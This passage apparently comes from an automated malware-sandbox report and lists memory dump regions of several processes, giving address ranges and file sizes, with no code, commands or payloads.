                                                                                                                                                                                    • memory/2228-133-0x0000000000720000-0x0000000000729000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      36KB

                                                                                                                                                                                    • memory/2228-134-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/2228-135-0x0000000000788000-0x0000000000799000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      68KB

                                                                                                                                                                                    • memory/2228-136-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/2300-204-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/2300-208-0x0000000000400000-0x000000000045B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      364KB

                                                                                                                                                                                    • memory/2300-205-0x0000000000400000-0x000000000045B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      364KB

                                                                                                                                                                                    • memory/2300-212-0x0000000061E00000-0x0000000061EF3000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      972KB

                                                                                                                                                                                    • memory/2300-211-0x0000000000400000-0x000000000045B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      364KB

                                                                                                                                                                                    • memory/2300-237-0x0000000000400000-0x000000000045B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      364KB

                                                                                                                                                                                    • memory/2300-207-0x0000000000400000-0x000000000045B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      364KB

                                                                                                                                                                                    • memory/2352-167-0x00000000005F8000-0x000000000068A000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      584KB

                                                                                                                                                                                    • memory/2352-147-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/2352-170-0x0000000002330000-0x000000000244B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.1MB

                                                                                                                                                                                    • memory/2668-137-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/3084-242-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/3088-390-0x0000000140075238-mapping.dmp
                                                                                                                                                                                    • memory/3232-180-0x0000000003380000-0x000000000343C000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      752KB

                                                                                                                                                                                    • memory/3232-171-0x0000000003290000-0x0000000003377000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      924KB

                                                                                                                                                                                    • memory/3232-139-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/3232-184-0x0000000003290000-0x0000000003377000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      924KB

                                                                                                                                                                                    • memory/3232-181-0x0000000003440000-0x00000000034E8000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      672KB

                                                                                                                                                                                    • memory/3232-168-0x0000000003070000-0x000000000319C000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.2MB

                                                                                                                                                                                    • memory/3684-177-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4104-193-0x0000000000400000-0x0000000000537000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.2MB

                                                                                                                                                                                    • memory/4104-195-0x0000000000400000-0x0000000000537000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.2MB

                                                                                                                                                                                    • memory/4104-200-0x0000000000400000-0x0000000000537000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.2MB

                                                                                                                                                                                    • memory/4104-190-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4104-247-0x0000000000400000-0x0000000000537000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.2MB

                                                                                                                                                                                    • memory/4348-161-0x00000000055E0000-0x0000000005602000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      136KB

                                                                                                                                                                                    • memory/4348-153-0x00000000006F0000-0x0000000000ACE000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      3.9MB

                                                                                                                                                                                    • memory/4348-144-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4376-158-0x0000000001160000-0x00000000011CB000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      428KB

                                                                                                                                                                                    • memory/4376-154-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4376-160-0x0000000001160000-0x00000000011CB000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      428KB

                                                                                                                                                                                    • memory/4376-157-0x00000000011D0000-0x0000000001245000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      468KB

                                                                                                                                                                                    • memory/4864-249-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4940-155-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/4940-156-0x00000000008E0000-0x00000000008EC000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      48KB

                                                                                                                                                                                    • memory/5056-234-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/5104-239-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/6052-516-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/6064-512-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/6132-522-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/6204-530-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/7784-264-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/7784-252-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/7784-282-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/7784-262-0x0000000000600000-0x0000000000613000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      76KB

                                                                                                                                                                                    • memory/7784-261-0x0000000000829000-0x000000000083A000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      68KB

                                                                                                                                                                                    • memory/18692-255-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/31048-258-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/35400-272-0x0000000000400000-0x0000000000420000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      128KB

                                                                                                                                                                                    • memory/35400-278-0x000000000B7D0000-0x000000000B80C000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      240KB

                                                                                                                                                                                    • memory/35400-259-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/35400-269-0x0000000000400000-0x0000000000421000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      132KB

                                                                                                                                                                                    • memory/35400-313-0x000000000BC50000-0x000000000BC6E000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      120KB

                                                                                                                                                                                    • memory/35400-275-0x000000000BC70000-0x000000000C288000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      6.1MB

                                                                                                                                                                                    • memory/35400-299-0x000000000E140000-0x000000000E1B6000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      472KB

                                                                                                                                                                                    • memory/35400-276-0x000000000BBD0000-0x000000000BBE2000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      72KB

                                                                                                                                                                                    • memory/35400-301-0x000000000E260000-0x000000000E2F2000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      584KB

                                                                                                                                                                                    • memory/35400-277-0x000000000D6B0000-0x000000000D7BA000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.0MB

                                                                                                                                                                                    • memory/35400-306-0x000000000E8B0000-0x000000000EE54000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      5.6MB

                                                                                                                                                                                    • memory/43468-265-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/46572-270-0x0000000000530000-0x0000000000654000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.1MB

                                                                                                                                                                                    • memory/46572-266-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/49368-271-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/57112-274-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/61664-279-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/64704-280-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/65924-297-0x0000000000783000-0x0000000000794000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      68KB

                                                                                                                                                                                    • memory/65924-286-0x0000000000783000-0x0000000000794000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      68KB

                                                                                                                                                                                    • memory/65924-287-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/65924-298-0x0000000000400000-0x0000000000585000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      1.5MB

                                                                                                                                                                                    • memory/80796-283-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/84408-342-0x0000000002000000-0x000000000220F000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      2.1MB

                                                                                                                                                                                    • memory/84408-345-0x0000000001770000-0x0000000001776000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      24KB

                                                                                                                                                                                    • memory/84408-288-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/84408-289-0x0000000000400000-0x0000000000415000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      84KB

                                                                                                                                                                                    • memory/84408-357-0x00000000017E0000-0x00000000017E7000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      28KB

                                                                                                                                                                                    • memory/84408-354-0x0000000007000000-0x000000000740B000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      4.0MB

                                                                                                                                                                                    • memory/84408-351-0x00000000017D0000-0x00000000017D5000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      20KB

                                                                                                                                                                                    • memory/84408-293-0x0000000000400000-0x0000000000415000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      84KB

                                                                                                                                                                                    • memory/84408-348-0x0000000001780000-0x0000000001790000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      64KB

                                                                                                                                                                                    • memory/87748-295-0x0000000000BD0000-0x0000000000BDB000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      44KB

                                                                                                                                                                                    • memory/87748-294-0x0000000000BE0000-0x0000000000BE7000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      28KB

                                                                                                                                                                                    • memory/87748-292-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/98700-296-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/98700-309-0x0000000000AF0000-0x0000000000AF9000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      36KB

                                                                                                                                                                                    • memory/98700-311-0x0000000000AE0000-0x0000000000AEF000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      60KB

                                                                                                                                                                                    • memory/102528-300-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102528-302-0x0000000000400000-0x0000000000428000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      160KB

                                                                                                                                                                                    • memory/102584-310-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102596-316-0x0000000000700000-0x0000000000705000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      20KB

                                                                                                                                                                                    • memory/102596-312-0x00000000006F0000-0x00000000006F9000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      36KB

                                                                                                                                                                                    • memory/102596-308-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102732-318-0x0000000001030000-0x000000000103C000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      48KB

                                                                                                                                                                                    • memory/102732-315-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102732-317-0x0000000001040000-0x0000000001046000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      24KB

                                                                                                                                                                                    • memory/102804-320-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102852-325-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102880-328-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/102980-331-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/103052-334-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/103152-339-0x0000000000000000-mapping.dmp
                                                                                                                                                                                    • memory/103416-361-0x0000000000E90000-0x0000000000F81000-memory.dmp
                                                                                                                                                                                      Filesize

                                                                                                                                                                                      964KB

                                                                                                                                                                                    • memory/103416-360-0x0000000000000000-mapping.dmp